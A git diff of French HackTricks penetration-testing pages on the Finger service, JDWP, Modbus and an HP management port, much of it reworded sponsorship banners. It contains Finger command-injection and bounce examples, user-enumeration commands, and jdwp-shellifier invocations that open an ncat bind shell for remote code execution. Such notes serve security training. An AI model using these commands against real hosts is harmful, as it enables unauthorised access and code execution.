<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Port par défaut :** 2301,2381
|
||||
|
@ -29,16 +30,17 @@ pg_hba.conf
|
|||
jboss-service.xml
|
||||
.namazurc
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# 79 - Pentesting Finger
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Informations de base**
|
||||
|
||||
Le programme/service **Finger** est utilisé pour récupérer des détails sur les utilisateurs d'ordinateurs. En général, les informations fournies incluent le **nom d'utilisateur, le nom complet** de l'utilisateur et, dans certains cas, des détails supplémentaires. Ces détails supplémentaires pourraient inclure l'emplacement du bureau et le numéro de téléphone (si disponible), l'heure à laquelle l'utilisateur s'est connecté, la période d'inactivité (temps d'inactivité), la dernière fois que l'utilisateur a lu ses e-mails, et le contenu des fichiers de plan et de projet de l'utilisateur.
|
||||
Le programme/service **Finger** est utilisé pour récupérer des détails sur les utilisateurs d'ordinateurs. En général, les informations fournies incluent le **nom d'utilisateur, le nom complet**, et, dans certains cas, des détails supplémentaires. Ces détails supplémentaires peuvent comprendre l'emplacement du bureau et le numéro de téléphone (si disponible), l'heure à laquelle l'utilisateur s'est connecté, la période d'inactivité (temps d'inactivité), la dernière fois que le mail a été lu par l'utilisateur, et le contenu des fichiers de plan et de projet de l'utilisateur.
|
||||
|
||||
**Port par défaut :** 79
|
||||
```
|
||||
|
@ -25,7 +26,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
## **Énumération**
|
||||
|
||||
### **Récupération de bannière/Connexion de base**
|
||||
### **Capture de bannière/Connexion de base**
|
||||
```bash
|
||||
nc -vn <IP> 79
|
||||
echo "root" | nc -vn <IP> 79
|
||||
|
@ -36,7 +37,7 @@ finger @<Victim> #List users
|
|||
finger admin@<Victim> #Get info of user
|
||||
finger user@<Victim> #Get info of user
|
||||
```
|
||||
Alternatively you can use **finger-user-enum** from [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), quelques exemples:
|
||||
Alternativement, vous pouvez utiliser **finger-user-enum** de [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), quelques exemples :
|
||||
```bash
|
||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
|
@ -44,7 +45,7 @@ finger-user-enum.pl -U users.txt -T ips.txt
|
|||
```
|
||||
#### **Nmap exécute un script pour utiliser les scripts par défaut**
|
||||
|
||||
### Metasploit utilise plus de techniques que Nmap
|
||||
### Metasploit utilise plus de trucs que Nmap
|
||||
```
|
||||
use auxiliary/scanner/finger/finger_users
|
||||
```
|
||||
|
@ -57,23 +58,24 @@ use auxiliary/scanner/finger/finger_users
|
|||
finger "|/bin/id@example.com"
|
||||
finger "|/bin/ls -a /@example.com"
|
||||
```
|
||||
## Rebond de doigt
|
||||
## Finger Bounce
|
||||
|
||||
[Utilisez un système comme relais de doigt](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
[Utiliser un système comme relais finger](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||
```
|
||||
finger user@host@victim
|
||||
finger @internal@external
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,61 @@
|
|||
# Pentesting JDWP - Java Debug Wire Protocol
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Exploitation
|
||||
|
||||
L'exploitation de JDWP repose sur le **manque d'authentification et de chiffrement du protocole**. Il est généralement trouvé sur le **port 8000**, mais d'autres ports sont possibles. La connexion initiale est établie en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il répond avec la même chaîne, confirmant sa présence. Ce handshake agit comme une méthode de reconnaissance pour identifier les services JDWP sur le réseau.
|
||||
L'exploitation de JDWP repose sur le **manque d'authentification et de cryptage du protocole**. Il se trouve généralement sur le **port 8000**, mais d'autres ports sont possibles. La connexion initiale se fait en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il répond avec la même chaîne, confirmant sa présence. Ce handshake agit comme une méthode de fingerprinting pour identifier les services JDWP sur le réseau.
|
||||
|
||||
En termes d'identification de processus, la recherche de la chaîne "jdwk" dans les processus Java peut indiquer une session JDWP active.
|
||||
En termes d'identification de processus, rechercher la chaîne "jdwk" dans les processus Java peut indiquer une session JDWP active.
|
||||
|
||||
L'outil de prédilection est [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Vous pouvez l'utiliser avec différents paramètres :
|
||||
L'outil de référence est [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Vous pouvez l'utiliser avec différents paramètres :
|
||||
```bash
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
J'ai trouvé que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend l'exploit plus **stable**. Et si vous avez la possibilité de télécharger une porte dérobée sur l'hôte et de l'exécuter au lieu d'exécuter une commande, l'exploit sera encore plus stable.
|
||||
J'ai constaté que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend l'exploit plus **stable**. Et si vous avez la possibilité de télécharger un backdoor sur l'hôte et de l'exécuter au lieu d'exécuter une commande, l'exploit sera encore plus stable.
|
||||
|
||||
## Plus de détails
|
||||
|
||||
**Il s'agit d'un résumé de [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Consultez-le pour plus de détails.
|
||||
**Ceci est un résumé de [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Consultez-le pour plus de détails.
|
||||
|
||||
|
||||
1. **Aperçu de JDWP**:
|
||||
1. **Aperçu de JDWP** :
|
||||
- C'est un protocole binaire réseau basé sur des paquets, principalement synchrone.
|
||||
- Il manque d'authentification et de chiffrement, le rendant vulnérable lorsqu'il est exposé à des réseaux hostiles.
|
||||
- Manque d'authentification et de cryptage, ce qui le rend vulnérable lorsqu'il est exposé à des réseaux hostiles.
|
||||
|
||||
2. **Poignée de main JDWP**:
|
||||
- Un processus de poignée de main simple est utilisé pour initier la communication. Une chaîne ASCII de 14 caractères "JDWP-Handshake" est échangée entre le Débogueur (client) et le Débogué (serveur).
|
||||
2. **Handshake JDWP** :
|
||||
- Un processus de handshake simple est utilisé pour initier la communication. Une chaîne ASCII de 14 caractères “JDWP-Handshake” est échangée entre le Débogueur (client) et le Débogué (serveur).
|
||||
|
||||
3. **Communication JDWP**:
|
||||
3. **Communication JDWP** :
|
||||
- Les messages ont une structure simple avec des champs comme Longueur, Id, Drapeau et CommandSet.
|
||||
- Les valeurs de CommandSet vont de 0x40 à 0x80, représentant différentes actions et événements.
|
||||
- Les valeurs de CommandSet varient de 0x40 à 0x80, représentant différentes actions et événements.
|
||||
|
||||
4. **Exploitation**:
|
||||
- JDWP permet le chargement et l'invocation de classes et de bytecode arbitraires, posant des risques de sécurité.
|
||||
- L'article détaille un processus d'exploitation en cinq étapes, impliquant la récupération de références de l'environnement d'exécution Java, la définition de points d'arrêt et l'invocation de méthodes.
|
||||
4. **Exploitation** :
|
||||
- JDWP permet de charger et d'invoquer des classes et du bytecode arbitraires, posant des risques de sécurité.
|
||||
- L'article détaille un processus d'exploitation en cinq étapes, impliquant la récupération des références Java Runtime, la définition de points d'arrêt et l'invocation de méthodes.
|
||||
|
||||
5. **Exploitation en conditions réelles**:
|
||||
- Malgré les protections potentielles du pare-feu, les services JDWP sont découvrables et exploitables dans des scénarios réels, comme le démontrent des recherches sur des plateformes comme ShodanHQ et GitHub.
|
||||
- Le script d'exploitation a été testé contre diverses versions de JDK et est indépendant de la plateforme, offrant une exécution de code à distance (RCE) fiable.
|
||||
5. **Exploitation dans la vie réelle** :
|
||||
- Malgré les protections potentielles des pare-feu, les services JDWP sont découvrables et exploitables dans des scénarios réels, comme le montrent les recherches sur des plateformes comme ShodanHQ et GitHub.
|
||||
- Le script d'exploit a été testé contre diverses versions de JDK et est indépendant de la plateforme, offrant une exécution de code à distance (RCE) fiable.
|
||||
|
||||
6. **Implications en matière de sécurité**:
|
||||
- La présence de services JDWP ouverts sur Internet souligne la nécessité d'examens de sécurité réguliers, de désactivation des fonctionnalités de débogage en production et de configurations de pare-feu appropriées.
|
||||
6. **Implications de sécurité** :
|
||||
- La présence de services JDWP ouverts sur Internet souligne la nécessité de révisions de sécurité régulières, de désactivation des fonctionnalités de débogage en production et de configurations appropriées des pare-feu.
|
||||
|
||||
|
||||
### **Références:**
|
||||
### **Références :**
|
||||
|
||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||
|
@ -71,16 +70,17 @@ J'ai trouvé que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend l
|
|||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
En 1979, le **protocole Modbus** a été développé par Modicon, servant de structure de messagerie. Son utilisation principale consiste à faciliter la communication entre des appareils intelligents, fonctionnant selon un modèle maître-esclave/client-serveur. Ce protocole joue un rôle crucial en permettant aux appareils d'échanger des données de manière efficace.
|
||||
En 1979, le **protocole Modbus** a été développé par Modicon, servant de structure de messagerie. Son utilisation principale consiste à faciliter la communication entre des dispositifs intelligents, fonctionnant selon un modèle maître-esclave/client-serveur. Ce protocole joue un rôle crucial dans l'échange efficace de données entre les dispositifs.
|
||||
|
||||
**Port par défaut :** 502
|
||||
```
|
||||
|
@ -28,16 +29,17 @@ nmap --script modbus-discover -p 502 <IP>
|
|||
msf> use auxiliary/scanner/scada/modbusdetect
|
||||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
